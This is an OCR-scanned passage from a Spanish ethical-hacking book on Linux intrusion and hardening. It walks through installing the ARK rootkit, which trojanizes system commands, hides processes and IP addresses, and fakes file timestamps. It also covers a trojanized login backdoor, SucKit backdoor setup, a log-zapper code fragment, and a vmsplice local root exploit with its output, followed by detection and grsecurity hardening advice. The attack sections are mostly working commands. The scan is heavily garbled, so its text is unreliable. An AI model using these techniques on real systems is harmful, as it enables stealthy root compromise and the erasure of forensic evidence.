ros, sobre como un intruso instala binarios troyanizados de comandos o servicios
en un servidor Linux con el fin de pasar desapercibido.

Ejemplo

Uno de los rootkits (http://packetstormsecurity.org/ UNIX/penetration/rootkits/)
mas clasicos es el ARK| que ha sido utilizado por afios por intrusos para reemplazar
los originales de la plataforma Linux. Veamos como el intruso instala este rootkit una

vez que logré privilegios de root:

wget http://packetstormsecurity.org/UNIX/penetration/rootkits/ark-1.0.1.tar.qgz

=162 08 35—
/ark-1.0.1.tar.qgz

=> ‘ark-1.0.1.tar.gz’

Connecting to packetstormsecurity.org:80...

HTTP request sent, awaiting response...

connected!
200 OK

Length: 526,758 [ application/x-tar]

16:29:38 (104.49 KB/s)
tar xvzf ark-1.0.l1.tar.gz
ark-1.0.1/
ark-1.0.1/README
ark-1.0.1/ark
ark-1.0.1/compile

- “ark-1.0.1.tar.gz’

saved [ 526758/526758]

- Descomprime el archivo

http://packetstormsecurity.org/UNIX/penetration/rootkits

0:11

O O O O O O O o O o

:02
:03
:03
:02
:01
:01
:00
:00
:00
:00

42.0K
197K
105K
105K
108K
185K
109K
150K
128K
107K
547K
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ark-1.0.1/du

ark-1.0.1/killall

ark-1.0.1/login-normal

ark-1.0.1/login-shadow

ark-1.0.1/1s

ark-1.0.1/netstat

ark-1.0.1/ps

ark-1.0.1/pstree

ark-1.0.1/sshd

ark-1.0.1/syslogd

ark-1.0.1/top

ark-1.0.1/VERSION

cd ark-1.0.1 - Entra al directorio del rootkit

cp 1ls /bin/ls - Reemplaza ls troyanizado por el original

cp ps /bin/ps - Reemplaza ps troyanizado por el original

cp netstat /bin/netstat - Reemplaza netstat troyanizado por el original
cp killall /bin/killall - Reemplaza killall troyanizado por el original
touch -r witch /bin/ls - Asigna a ls troyanizado, la fecha y hora de

creacion del comando with (original) para borrar huella de manipulacion.
touch -r witch /bin/ps - Asigna a ps troyanizado, la fecha y hora de
creacion del comando witch (original) para borrar huella de manipulacion.
touch -r witch /bin/netstat - Asigna a netstat troyanizado, la fecha
y hora de
creacion del comando witch (original) para borrar huella de manipulacion.
touch -r witch /bin/killall - Asigna a killall troyanizado,

la fecha y hora de
creacion del comando witch (original) para borrar huella de manipulacion.
mkdir /dev/ptyxx - Crea el path predeterminado de configuracion del rootkit

cd /dev/ptyxx - Entra en el path del rootkit

El rootkit funciona de la siguiente manera: dice que aquellos datos que se ingresen
en .proc se ocultaran como procesos, los colocados en .file seran ocultados como
directorios y archivos, y los colocados en .addr seran invisibles como direcciones
conectadas hacia dentro o hacia fuera del servidor.

echo 2 script-maligno >.proc - El intruso oculta proceso de script
echo 2 backdoor >>.proc - El intruso oculta proceso de backdoor
echo 2 esnifer >>.proc - E1 intruso oculta proceso de esnifer
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echo 2 tool >>.proc - El intruso oculta proceso de exploit o escaner
echo 2 wipe >>.proc - El intruso oculta proceso de herramienta de

borrado seguro

echo ptyxx >.file - El intruso oculta el directorio del rootkit
echo .proc >>.file - El intruso oculta el archivo del rootkit
echo .file >>.file - El intruso oculta el archivo del rootkit
echo .addr >>.file - El intruso oculta el archivo del rootkit
echo dsniff-2.3 >>.file - El intruso oculta el directorio del esnifer
echo 2 200 >.addr - El intruso oculta direcciones IP provenientes

de un rango que comienza en 200.
echo 2 192 >>.addr - El intruso oculta direcciones IP provenientes

de un rango que comienza en 192.

Cuando el administrador ejecute Is, ps, netstat o killall, estos comandos respon-
deran siempre a esos archivos de configuraciéon, ya que no seran los
comandos originales del sistema, sino: archivos binarios troyanizados.

Esta técnica puede descubrirse de las siguientes maneras:

¢ Chequeando la integridad (md5 checksum) con los binarios originales.

* Monitoreando el cambio con una aplicacion para tal fin, como Tripwire (http://
sourceforge.net/projects/tripwire) o AIDE (http://soutrceforge.net/projects/aide).

* Con cron (http://es.wikipedia.org/wiki/Cron_(unix)) y un sctipt que nos avise
por e-mail de algin cambio.

¢ Con herramientas y técnicas forenses.

e Con un escaner de rootkits como chrootkit (www.chkrootkit.org) o Rootkit
Hunter (www.rootkit.nl/projects/rootkit_hunter.html).

Si nuestro servidor fue comprometido, la recomendacion es analizar si se va a lle-

var a cabo alguna investigacion interna (analisis forense) y, en caso negativo, insta-

latlo de cero, aplicar herdening y administracion dedicada. Si se va a realizar la in-

vestigacion interna, hay que tomar todas las precauciones, siguiendo el protocolo

forense de adquisicion de imagenes y preservacion de evidencia a través de un pro-

fesional. Recordemos que cualquier comando Linux puede ser troyanizado (Isof,

login, etc), tal como los servicios e, incluso, el mismo kernel.

Ejemplo de troyanizado de servicio (login)
En este ejemplo, veremos cémo al troyanizar un archivo binario de Linux (login)
se transforma, a través de un servicio abierto como Telnet, en un backdoor. Para

eso, el intruso podria utilizar el famoso ulogin.c:
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Con ulogin.c podria llevar a cabo lo siguiente:




root@lab2:/tmp# cp login /bin/login
- Ubica el binario troyanizado en lugar del original
root@lab2:/tmp# chmod 4755 /bin/login

- Le asigna permisos

root@labl:# export DISPLAY="gtdrvdumyu”; telnet 192.168.0.44

- Desde otra maquina se loguea a traves del backdoor

Trying 192.168.0.44... (esta maquina tiene el servicio telnet corriendo
en el puerto 23 por defecto)

Connected to 192.168.0.44.

Escape character is ‘*]’.

$Id: Localcore 2008/08/14 21:31:00 marekm Exp $

sh-2.04# - El intruso ya esta adentro del objetivo como root,

sin dejar rastros.
sh-2.04# exit

Connection closed by foreign host.

Instalacion de un backdoor

Como un profesional tiene que conocer todas las técnicas y herramientas que utilizan los
atacantes, analizaremos una de las mas sofisticadas utilidades de backdooring que se die-
ron a conocer al publico: SucKit (http://packetstormsecurity.otg/ UNIX/penetration-
/rootkits/sk-1.3a.tar.gz). Veamos cémo luce la instalacion de SucKit en un servidor Linux.

root@lab2:/tmp# cd sk-1.3a - Ingresamos a su directorio
root@lab2:/tmp/sk-1.3a# make skconfig - Comenzamos con su compilacion
rm -f include/config.h sk login inst

make[ 1] : Entering directory /tmp/sk-1.3a/src’

make[ 1] : Leaving directory ' /tmp/sk-1.3a/src’

make[ 1] : Entering directory ' /tmp/sk-1.3a/src’

gcc -Wall -02 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -c shal.
€

gcc -Wall -02 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -c crypt
0.c

gcc -Wall -02 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -s zpass

.c shal.o crypto.o -o pass
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Sourceware.org/gdb/




[ ===== SucKIT version 1.3a, Nov 28 2003 <http://sd.g-art.nl/sk> =====]
[ ====== (c)oded by sd <sd@cdi.cz> & devik <devik@cdi.cz>, 2002 ======]
RK Init: idt=0xc0233000, sct[]=0xc0lea700, kmalloc()=0xc0126e70, gfp=0x1f0

Zz Init: Allocating kernel-code memory...Done, 13182 bytes, base=0xc1450000

BD Init: Starting backdoor daemon...Done, pid=24247

En caso de que no compile correctamente, se puede intentar compilar en otro set-
vidor y subir ese server binario (o compilado, llamado sk) al servidor, que funcio-
nara sin problemas.

Recordemos que el servidor objetivo se loguea con el cliente SucKit generado también
alli mismo (binario llamado login en el mismo path), junto al server del backdoor.

La shell atacante loguea desde el cliente: ./login ip (+password del server), hacia
la shell objetivo con sk instalado.

Borrado de rastros

Como ya comentamos, una de las acciones mas comunes de un intruso es tratar de bo-
rrar el rastro que dejo en su intrusion. Por eso, si ain no conocemos el sistema de archi-
vos o registros de Linux que se encuentra en el directorio /var/log o /var/run, es muy
importante que leamos los siguientes textos para comprender exactamente de que se tra-
ta:

* Comentarios generales: www.estrellateyarde.es/so/logs-en-linux.

* Caracteristicas de los logs: www.psicofxp.com/forums/info-y-manua-
les.153/145356-logs-en-linux.html.

* Limpieza en Debian: http://laguaridadelmal.blogspot.com/2007_11_01_atchi-
ve.html.

Mas alla de éstos, existen otros registros como los logs del webserver Apache o
motores de base de datos. También existen diversos sistemas de gestionarlos, ya sea
localmente (asignandoles un path especial con permisos especiales: chattr +a archi-
vo) o remotamente, alojando los registros o logs en otro servidor de la red.

Ahora bien, el intruso puede borrar sus rastros de muchas formas. LLa mas grotes-
ca es haciendo un simple rm —tf /var/log, ya que asi podtian ser recuperados fa-
cilmente con técnicas forenses simples. Diferente serfa si utilizara una herramienta
de borrado seguro como wipe (http://wipe.sourceforge.net), pero asi despertaria
las sospechas del administrador. Podria hacerlo de manera mas sutil si programara
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un zapper adecuado al objetivo y al modo de gestionar registros que existe en el
servidor (que puede no estar por defecto). A su vez, deberfa borrar todos los logs
que éste modificara tras su paso y solo eliminar las entradas que corresponden a di-
chas sesiones. Ni mas ni menos, que contemple los usuarios utilizados localmente
y los intentos previos externos. Aun asi, si es detallista, debera retocar a mano al-
gunos archivos con datos de creacion o modificacion falsos.

{2 proc [Z) fontconfig.log 1.5K8
{2 root [%) kern.log 429Ke
@ sbin [H kern.log.0 198 K8
12 selinux “Dkern.log.1.g2 10.9KB
Qs Dkern.log.2.g2 S.8KB
'g :;; [ lastiog 286 KB
“ Q Ipr.log 0KB
& ‘3 ::’r @ mail.err 0kKB
& backups [= mail.info 0KB
) cache B mail.log 0KB
) games @ mail.warn 0KB
o lib @ messages 431 KB
() local @ messages.0 199KB
12 lock :Qmessages. 1.0z 10.6 KB
=99 m :Qmessages.z.gz 5.7KB
() bittorrent [%) pycentral.log 0KB
1) cups 2] scrollkeeper.log 0KB
) exim¢ [ scrollkeeper.log.1 0KB
O fsck =) scrolikeeper.log.2 36.3K8
(2 gdm syslog 3.7KB
G installer [B)syslog.0 168K8
‘—7 fows msyslog.l.gz 51.4KB
\{—j mat|l :szslog.z.gz 43.8KB
. :‘3 :LTn i;vsyslog.z.gz 9.8KB
(=) avahi-daemon :—,{vsyslogﬁ.gz 11.2K8
© cups Dsyslog.5.g2 23.6KB
&) dbus syslog.6.g2 17.4KB
1) exim¢ 8 37.4K8
&) hal @ user.log.0 35.4KB
i bplip CDuser.log.1.g2 0.9K8
() identd :Quser.log.z.gz 0.4KB
() network [%) uucp.log 0KB
() NetworkManager wtmp 314KB
# {3 sudo wtmp. 1 64.5K8
i) spool ] vora n L sa avR

Registros. Archivos de logs en la particion de
Debian 4.0 vistos desde Windows.

Estos scripts son llamados zappers y resultan muy utiles al modificar automatica-
mente los logs que se encuentran en el sistema de modo binario y los que estan en
texto plano. Veamos, como ejemplo, el codigo fuente de zap2.c, que so6lo saca las
trazas de un usuario en utmp, wtmp y lastlog.

/*

UZAPPER Verl.00 for Solaris, SunOS, IRIX, Linux, FreeBSD
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net)

*/
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CORE DUMPED




Cifrado de correo y archivos en Linux




strcpy (f_wtmp,

SVR4 WTMP) ;

strcpy (f utmpx,

strcpy (f_wtmpx,

strcpy (f_lastlog,

lastlog type=1;

#else

UTMPX FILE);
WIMPX FILE);
SVR4 LASTLOG) ;

printf (“Can not wipe. System Unknown.\n”);

#endif
} else

printf (“Can not wipe. System Unknown.\n”);

wipe log(f utmp, argvl
wipe log(f utmpx,argv|
wipe log(f wtmp, argd
wipe log(f wtmpx,argv|

wipe lastlog(f

)i
)i
)i
)i
_lastlog,argv]

1] ,lastlog_type);

Si queremos testear mas zappers o ver su codigo para adecuarlo a un objetivo y ha-
cer las pruebas necesarias para protegernos mejor, podemos buscar palabras clave co-
mo log cleaners o log zappers en www.packetstormsecurity.org y www.google.com.

F\\s Ed\t Logs Wmduw Settings Help
Q0 D [EX @ = 8
(=5, &J System Log ‘ UApache Log ‘ £ Authentication Log ‘
B> Filter: | | column: [al
iE'af(EnwmfrF“J:Eifﬁame L ‘P“"c‘lefs‘ ‘“fesfalge‘ s e

&9 27/02/07 11:52.:. asterix
&9 27/02/07 11:52... asterix
&9 27/02/07 11:52.., asterix
&9 27/02/07 11:52.,, asterix
9 27/02/07 11:52... asteri
& 27/02/07 11:52... asterix
&9 27/02/07 11:50,., asterix
&9 27/02/07 11:39... asterix
€9 27/02/07 11:39... asterik
& 27/02/07 11:39... asterix
&9 27/02/07 11:389.., asterix
9 27/02/07 11;39... asterix
9 27/02/07 11:39... asterix
9 27/02/07 11:38... asterix
&9 27/02/07 11:38... asterix
€9 27/02/07 11,35,,, asteri
@ 27/02/07 11:23... asterix
9 27/02/07 11;23... asterix
&9 27/02/07 11:23.., asterix
&9 27/02/07 11:23... asterix

geonfd (root-6552)
geonfd (root-6552)
geonfd (root-6552)
geonfd (root-6552)
geonfd (root-6552)
geonfd (root-6552)
minet
JUSR/SBIN/CRON[E262]
JUSR/SBIN/CRON[6260]
CRON[6261]
CRON[6261]
CRON[6258]
CRON[6258]

minet

minet

sudo

Se resolvid? |a direccifen A«ml:readwrite:froot/.gconfA» a una fuente de configura..,
Se resolviA? la direccif®n Awml:readonly ivar/lib/geonffdefaultsi» a una fuente de ...
Se resolvid? la direcciden Awanl:readonly:varilib/geonfidebian. defaultsd» a una fue..
Se resolviA® [a direcciA®n A«mlireadonly: fetc/gcenf/geonf.xml.mandatoryds a una f..,
se resolvid® la direcciAen Awmlreadonly:fetc/gconf/acont.xml.defaultsin a una fue...

comenzando (versifn 2.16.0), pid 8552 usuario A«rootA»
gethostby* getanswer: asked for "www.btack.info,nyud.net IN A", got type "29"

(root) CMD ( [ -d parflib/phpsS | && find fvar/lib/phpS/ type f -cmin + $(/Usrilib/phps...
{root) CMD { [ -d fvarflib/phpd | &6 find far/lib/phpd/ type f -cmin +$(/usrilib/php4d...

(pam_unix) session opened for user root by (uid=0)

(pam_unix) session closed for user root

(pam_unix) session opened for user roat by (uid=0)

(pam_unix) session closed for user root

gethostby* gatanswer: asked for "www.btack.info.nyud.nat IN A", got type 39"
gethostby* getanswer: asked for "www.btack.info.nyud.net IN A", got type "39"

francis : TT¥=unknown ; PWD=/homeffrancis ; USER=root ; COMMAND=/usr/bin/ksy...

syslogd 1.4, 1#18ubuntué restart.,

postfix/qmgr(5193]
postfiigmgr(5193]
postfixflocal[5765]

B6BEE11CB55: remaved

86BEE11CBSS: from=<root@asterix.fransberns com=, size=972, nrcpt=1 (queue ..
86BEE11CB55: to—<francis@asterix fransberns.coms, orig_to=<root>, relay=loca, .|

Gui. Interfaz gréafica de KSystemlog para KDE que muestra
los logs de sistema y aplicaciones para monitorearlos. Podemos ver sus
caracteristicas y descargarlo en http://ksystemlog.forum-software.org.

265



Ejemplo de hardening en el nucleo (kernel)

Hace muy poco, en MilwOrm se publicé un exploit local para el kernel de Linux
(www.milwOrm.com/exploits/5092).



















Hardening de Debian




Lo testeamos en un Debian 4.0, es decir, la dltima versién de esta distribucién, ins-
talada por defecto en un servidor de pruebas, y logramos elevar los privilegios a
root en segundos:




test@lab:~$ vi c.c - Pego el exploit

test@lab:~$ gcc c.c -0 ¢ - Lo compilo

test@lab:~$ uname -a - Muestro la version actual del kernel
Linux lab 2.6.18-5-686 #1 SMP Mon Dec 24 16:41:07 UTC 2007 1686 GNU/Linux
test@lab:~$ ./c - Lo ejecuto

Linux vmsplice Local Root Exploit

By qaaz

[+] mmap: 0x0 .. 0x1000

[ +] page: 0x0

[ +] page: 0x20

[ 4] mmap: 0x4000 .. 0x5000

[ +] page: 0x4000

[ +] page: 0x4020

[ 4] mmap: 0x1000 .. 0x2000

[ +] page: 0x1000

[ +] mmap: 0xb7e0c000 .. 0xb7e3e000

[ +] root

root@lab:~# whoami - Vemos quienes somos
root

root@lab:~# id - Vemos el privilegio (root) obtenido

uid=0(root) gid=0(root) grupos=20(dialout),24 (cdrom),25(floppy),29(audio),
44 (video), 46 (plugdev), 106 (netdev),109 (powerdev), 1000 (lab)

root@lab:~# cat /etc/issue - Vemos la version de la plataforma

Debian GNU/Linux 4.0 \n \1

¢Coémo podria lidiar con este tipo de cosas un administrador dedicado?

* Estando suscripto en el mailing de http://vger.kernel.org para enterarse de una
nueva release o version de kernel disponible y actualizarlo al instante.

* Estar dado de alta en listas como Bugtraq y similares para enterarse de las fallas
y mitigarlas rapidamente.

* Quizas, contar con un parche adicional previamente instalado (no sélo de actua-
lizacién) para el kernel del servidor Linux, como Grsec (www.grsecurity.net) y es-
tar dado de alta en su lista de correo (www.gtsecurity.net/pipermail).
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lé - c 24 | L | http:ffwww.openwall.comylinux/ P !C

(Openwall Project fhome Owl JtR Pro crypt pam passwdqgc tcb phpass scanlogd)
[pringing security irto open environments BIND / advisories presentations / services donations / wordl

Advanced Windows Password Recovery

Linux kernel patch from the Openwall Project

[View the latest README and the FAQ (both are also included in the archives below).
Download:

o Patch for Linux 2.4.35, version 2 and its signature
o Patch for Linux 2.2.26, version 1 and its signature
o Patch for Linux 2.0.40, version 1 and its signature

[These and older versions of the patches are also available via ETP.
[Follow this link for information on verifying the signatures.

(Contributed resources:

Fix. Parche para el kernel de Linux 2.0* 2.2* 2.4*
perteneciente al proyecto Openwall. Le da una mayor sequridad
al kernel y puede encontrarse en la pagina www.openwall.com/linux.

Veamos entonces como actualizar con facilidad ese kernel y luego patchearlo. Prime-
ro descargamos la imagen .deb de la dltima version desde el sitio http://ftp.debia-
n.otg/debian/pool/main/1/linux-2.6/ y luego ejecutamos en la consola de coman-
dos:

lab:# dpkg -i linux-image-2.6.24-1-686 2.6.24-4 1386.deb

Seleccionando el paquete linux-image-2.6.24-1-686 previamente no seleccionado.

(Leyendo la base de datos

103559 ficheros y directorios instalados actualmente.)

Desempaquetando linux-image-2.6.24-1-686 (de linux-image-2.6.24-1-686
~2.6.24-4 1 386.deb)

Done.

Configurando linux-image-2.6.24-1-686 (2.6.24-4)

Running depmod.

Finding valid ramdisk creators.

Using mkinitramfs-kpkg to build the ramdisk.

Running postinst hook script update-grub.

Searching for GRUB installation directory ... found: /boot/grub

Searching for default file ... found: /boot/grub/default

Testing for an existing GRUB menu.lst file ... found: /boot/grub/menu.lst

Searching for splash image ... none found, skipping
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Found kernel: /boot/vmlinuz-2.6.24-1-686
Found kernel: /boot/vmlinuz-2.6.18-6-686
Found kernel: /boot/vmlinuz-2.6.18-5-686
Updating /boot/grub/menu.lst ... done

Recordemos que hay que retocar el codigo fuente del archivo menu.lst si tenemos un
sistema multiboot, ya que este proceso de actualizacion lo modificara automaticamen-
te. Una vez que reiniciamos y establecemos otra sesion en la shell, trataremos de eje-
cutar nuevamente el exploit local de antes. Como veremos, no tendra el mismo efec-
to esta vez. El Kernel anterior era version 2.6.18 y éste es el altimo a la fecha, el 2.6.24.

test@lab:~$ uname -a

Linux lab 2.6.24-1-686 #1 SMP Mon Feb 11 14:37:45 UTC 2008 1686 GNU/Linux
test @lab:~$ gcc -o c c.c

test @lab:~$ ./c

Linux vmsplice Local Root Exploit

By qaaz

[+] mmap: 0x0 .. 0x1000

[ +] page: 0x0

[ +] page: 0x20

[ +] mmap: 0x4000 .. 0x5000

[ +] page: 0x4000

[ +] page: 0x4020

[ +] mmap: 0x1000 .. 0x2000

[ +] page: 0x1000

[ 4] mmap: O0xb7d7£000 .. 0xb7dbl000

[ -] vmsplice: Bad address

test @lab:~$ - Esta vez no funciond, ya que estd actualizado el kernel.

Ahora bien, ¢puede prevenirse una elevacion de privilegios en esta nueva y dltima ver-
sion si en algun momento se le descubre una vulnerabilidad?

Si, tecnicamente de modo local: actuando proactivamente con la aplicacién del parche
Grsec al nucleo. Veamos algunas de sus caracteristicas:
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¢ Sistema robusto e inteligente basado en Role-Based Access Control (RBAC) que
puede generar politicas de minimos privilegios para el sistema completo sin con-

figuracién alguna.
¢ Hardening del Chroot.
¢ BExtensamente auditado.

* Prevencion de ejecucion de codigo arbitrario mas alla de la técnica utilizada (stack

smashing, heap corruption, etcétera).

* Prevencion de ejecucion de codigo arbitrario en el kernel.

* Randomizacién del stack, librerfa y heap bases.

¢ Randomizacién Kernel stack base.

* Proteccion contra null-pointer bugs en el kernel.

* Reduccion del riesgo de informacién sensitiva mostrada a través de bugs del ker-

nel.

* Restriccion para que los usuarios vean s6lo sus procesos.
* Alertas de seguridad y auditorias con la direccion IP de la persona que causoé el aler-

ta.

m http:{fuww.grsecurity.net/

Jtmp race prevention
Extensive auditing

kernel

Change root (chroot) hardening

news download
Home y
Bannload ® [04/21] grsecurity 2.1.11 patches updated, 2.6.24.5 Latest Yersion:
supported . 2.1.11
Test Patches ® [04/17] grsecurity 2.1.11 patch for 2.6.24.4 updated v Latest update:
= ® [04/14] grsecurity 2.1.11 released for Linux 04/21/08
Features 2.4.36.2/2.6.24.4 Latest test patch:
Forums ® [06/18] Note on PaX support for x86-64 kernels on 04/21/08
Mailing List Socket 478 Celeron D processors > download now
Wiki More News >>
CVS
Links grsecurity
irror: grsecurity is an innovative approach to security utilizing a multi-layere:
Mirrors t ti ht ty util Iti-ayered
Donations detection, prevention, and containment model. It is licensed under the
. GPL.
fgr‘v)‘nso' S It offers among many other features:
P = ® An intelligent and robust Role-Based Access Control (RBAC) system
apers that can generate least privilege policies for your entire system
Contact Us with no configuration

Prevention of arbitrary code execution, regardless of the technique
used (stack smashing, heap corruption, etc)

Prevention of arbitrary code execution in the kernel

Randomization of the stack, library, and heap bases

Kernel stack base randomization
Protection against exploitable null-pointer dereference bugs in the

Parche. En el sitio de grsecurity podemos obtener mas informacion sobre su parche.

Es importante saber que manipular el kernel de Linux sin conocimiento o con-

ciencia puede llevar a la inutilizacion del sistema, por lo que no es conveniente rea-

lizar este tipo de patcheo directamente sobre servidores en produccion (aquellos
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que estan trabajando), sino en servidores de prueba. Ademas, tampoco debemos bo-
rrar Ja imagen de arranque anterior ya que, en caso de aparecer problemas al reiniciar
con el nuevo kernel patcheado, podemos relinkearlo desde el arrancador (Grub por
ejemplo). Es muy util usar el foro de Grsec para aclarar dudas especificas, y debemos
tratar de que el patch sea el correcto para el kernel (misma version) y comprobar el
seteo de los items en el menu de forma adecuada, segiin nuestras necesidades.
Veamos como aplicar el parche Grsec a nuestro ultimo kernel.

lab@terminal:~$ su - Logueamos como usuario root
Password:
terminal:# cd /usr/src - Vamos al path /usr/src

terminal:/usr/src# wget http://www.grsecurity.net/test/grsecurity-2.1.11-2
.6.24.4-200803251800.patch - Bajamos el patch

—21:08:26— http://www.grsecurity.net/test/grsecurity-2.1.11-2.6.24
.4-20080325 1800.patch

=> ‘grsecurity-2.1.11-2.6.24.4-200803251800.patch’
Resolviendo www.grsecurity.net... 209.9.226.146
Connecting to www.grsecurity.net|209.9.226.146|:80... conectado.
Peticién HTTP enviada, esperando respuesta... 200 OK
Longitud: 1.170.308 (1.1M) [ text/plain]

100%[ >] 1.170.308 98.24K/s ETA 00:00

21:08:41 (77.89 KB/s) - ‘"grsecurity-2.1.11-2.6.24.4-200803251800.patch’
saved [ 1 170308/0470308]

terminal:/usr/src# wget http://www.kernel.org/pub/linux/kernel/v2.6/
linux-2.6.24.4.tar.bz2

- Bajamos el ultimo kernel

—21:09:26— http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.24.4
.tar.bz2
=> "linux-2.6.24.4.tar.bz?2
Resolviendo www.kernel.org... 204.152.191.37, 204.152.191.5
Connecting to www.kernel.org|204.152.191.37|:80... conectado.
Peticién HTTP enviada, esperando respuesta... 200 OK
Longitud: 46.737.783 (45M) [ application/x-bzip2]
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Des:3 ftp://ftp.us.debian.org etch/main initrd-tools 0.1.84.2 [ 32,2kB]
Descargados 140kB en 9s (14,4kB/s)
Preconfiqgurando paquetes

Seleccionando el paquete dash previamente no seleccionado.

(Leyendo la base de datos

108935 ficheros y directorios instalados actualmente.)
Desempaquetando dash (de .../archives/dash 0.5.3-7 1386.deb)
Seleccionando el paquete cramfsprogs previamente no seleccionado.
Desempaquetando cramfsprogs (de .../cramfsprogs 1.1-6 i386.deb)
Seleccionando el paquete initrd-tools previamente no seleccionado.
Desempaquetando initrd-tools (de .../initrd-tools 0.1.84.2 all.deb)
Configurando dash (0.5.3-7)

Configurando cramfsprogs (1.1-6)
Configurando initrd-tools (0.1.84.2)

terminal:/boot# mkinitrd -o /boot/initrd.img-2.6.24.4-grsec 2.6.24.4-grsec

Archivo Editar Ver Terminal Solapas Ayuda

.config - Linux Kernel v2.6.24 Configuration

Security options --->|

Mend. Este es el meni que se presenta apenas ejecutemos

el comando make menuconfig desde la consola. Desde aqui

se seleccionaran las caracteristicas por incluir en el kernel
para que éste las soporte una vez que esté en funcionamiento.

Ahora si, s6lo resta linkear /boot/initrd.img-2.6.24.4-grsec en menu.lst de Grub y

reiniciar el sistema. Al finalizar, tendremos un kernel actualizado a la ultima versién
y patcheado con un alto nivel de seguridad adicional.
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larchivo Editar Ver Terminal Solapas Ayuda

Iab@terminal: ~

24 Con:

Menu2. Dentro del men( Security Options del kernel se
encuentran las opciones de Grsec. Es importante seleccionar un nivel
medium (o menor) para que no interrumpa la performance general del servidor.

Ejemplo de Hardening en servicios

En un servidor, e
ra incrementar la

s fundamental deshabilitar servicios (cerrar puertos) indtiles pa-
seguridad en él. Como Linux es un sistema operativo muy ver-

satil, existen variadas formas de hacerlo. Veremos un modo adecuado y otro me-
nos sutil, pero eficaz. En primer lugar, escaneamos nuestra propia maquina para
ver los servicios que corren:

terminal:/# nmap -sS localhost

Starting Nmap 4.53 ( http://insecure.org ) at 2008-03-13 05:47 ART

Interesting ports on localhost (127.0.0.1):

Not shown: 1710 closed ports

PORT STATE
25/tcp open
111/tcp open
113/tcp open
631/tcp open
1241/tcp open

Con la ayuda del

SERVICE
smtp
rpcbind
auth
ipp
nessus

comando Isof —i(numero de puerto), por ejemplo Isof —i:113, nos

dira cual es el archivo o aplicaciéon que genera ese servicio para poder deshabilitar-

lo. De ese modo,
til, los comandos
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podriamos conocer el archivo binario y ejecutar, de modo no su-
que nos permitiran cerrar todos los puertos.



Una forma mas correcta de deshabilitar servicios que se inician con el booteo, co-
mo por ejemplo el servicio bittorrent, es la que vemos a continuacion:

De la misma forma, deberfamos hacer con cada uno de los servicios que no desea-
mos que se inicie al arrancar la maquina. Ademas, recordemos escanear nuestro
host para ver la totalidad de sus puertos del siguiente modo: nmap —sS —p 1-65365
localhost. Seguramente, encontraremos servicios para deshabilitar.

Sitio sobre hacking ético
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éi@' c 24 | L | httpjfw3af.sourceforge.net/ oy - ’G]

w3af - Web Application Attack and Audit Framework

w3afis a Web Application Attack and Audit Framework. The project goal is to create a framework to find and
exploit web application vulnerabilities that is easy to use and extend. This project is currently hosted at
SourceForge. For further information, you may also want to visit w3af SourceForge project page.

If you are here just to "take a look" maybe this screenshots will show you what w3af can do:
e 0S commanding detection and exploit (console user interface)
e 05 commanding and DAV misconfiguration detection and exploit (console user interface)

e Blind SQL Injection exploit {(console user interface)
e 0S commanding detection and exploit (pyGTK user interface)

Project news

| XML |
e Sponsors - Mon, 10 Mar 2008 01:37:11 GMT
I would like to thank our sponsors, Cybsec (Platinum) and Openware (Gold) for their support and
continuous help to the project. If you want to know more about them, visit the Sponsor link in the
main menu. (O comments)

Plataforma. W3af, Web Application Attack and Audit Framework, es una plataforma
para el testeo de aplicaciones. Podemos probarla bajandola de http://w3af.sourceforge.net.

5 preguntas a un desarrollador de exploits

Jonathan Sarba, CEO y fundador de la empresa Shellcode IT Solutions & Secu-
rity Research (www.shellcode.com.ar), nos responde algunas consultas relaciona-
das con los exploits.

¢Qué técnicas de explotacion se pueden llevar a cabo con los conocimien-
tos suficientes de shellcoding o exploit development en un entorno Linux,
ya sea remoto o local? El fin: elevar privilegios a root.

Dependera mucho de la distribucién de Linux existente y de las versiones de soft-
ware de base. Son muchas las técnicas aplicables, por eso yo comenzaria por estu-
diar alguna de las técnicas de proteccion conocidas.

ZDI

Zero Day Initiative (www.zerodayinitiative.com)] es una empresa que alienta a los inves-
tigadores de vulnerabilidades a vender sus hallazgos (exploits] y los coloca en una lis-
ta en la que, de acuerdo con su categoria, les retribuye determinado dinero por sus co-
digos fuente.
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* randomization stack

* non-executable stack

* malloc protection

e library randomization

* environment protection

La realidad es que, dependiendo del mercado corporativo donde encuentres la pla-
taforma Linux, podras tener, incluso, menores protecciones que ésas.

24 | L | http:jfwwe.shellcode. com.ar/ B - IQ]'\
Espaiiol English
Inicio @
Contacto (&)
©

Entrar

s & Security Researc|

~

Acceso Clientes Investigacion

ABIERTA INSCRIPCION
CURSOS 2008

Applyl
solucion des

Shellcode. En el sitio de Shellcode podemos encontrar informacion acerca de los servicios
y productos que ofrecen, ademas de material de estudio.

¢Podrias contarnos, en pocas palabras, como aprovechar el Segmentation
fault (core dumped) generado en aquellos archivos uid0 encontrados en una
shell?

Aunque un segfault nos resulte atractivo, cuando se trata de un archivo que posee
el bit setUID y su propietario es root(0) o un usuario de algin servicio interesante
(postifx, Apache, etcétera); las protecciones de contexto de ejecucion en el kernel,
y la forma de linkeo y compilado de binarios hacen la cosa bastante complicada.
Y yendo a la respuesta concreta, tienes una sola opcion para aprovechar un segfault
(hablando de UNIX/Linux y siendo un bug no reportado): sacatse la ciscara de in-
geniero, darle una vision diferente y aplicar conocimientos sobre ingenierfa inver-
sa, ASM, C, sistemas operativos, sefiales y comunicacion entre procesos.
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Ya recomendamos el parche Grsec luego de poner up-to-date el kernel.
¢Qué otra medida de hardening para el nicleo piensas que deberian cono-
cer?

Creo que tanto el parche GRSEC como su variante OpenWall cubren los mas im-
portantes riesgos, y, si sumamos consideraciones sobre los médulos del kernel,
protegeriamos una gran parte de los potenciales caminos que puede encontrar un
intruso para escalar privilegios e infectar el sistema. De todas formas, es importan-
te saber que no debemos olvidar buenas politicas de control de acceso, seguridad
de datos; y establecer una correcta administracién de los servicios del sistema y la
interaccion de sus recursos (humanos incluidos).

)( O ‘http:waw.iacertification.orgfcept_certified_expert _penetration_tester.html ﬁ’j v [G]

\ IACRB

Information Assurance Certification Review Board

[About 1AcRB|  CEPT CASS CSSA CREA CPT  |Contact

1A Certifications Information Assurance Certification Review Board {(IACRB)

Certified Expert Penetration

e TR Certified Expert Penetration Tester (CEPT)

Certified Application Security
Specialist (CASS

Certified SCADA Security.
frchitect (CS58)

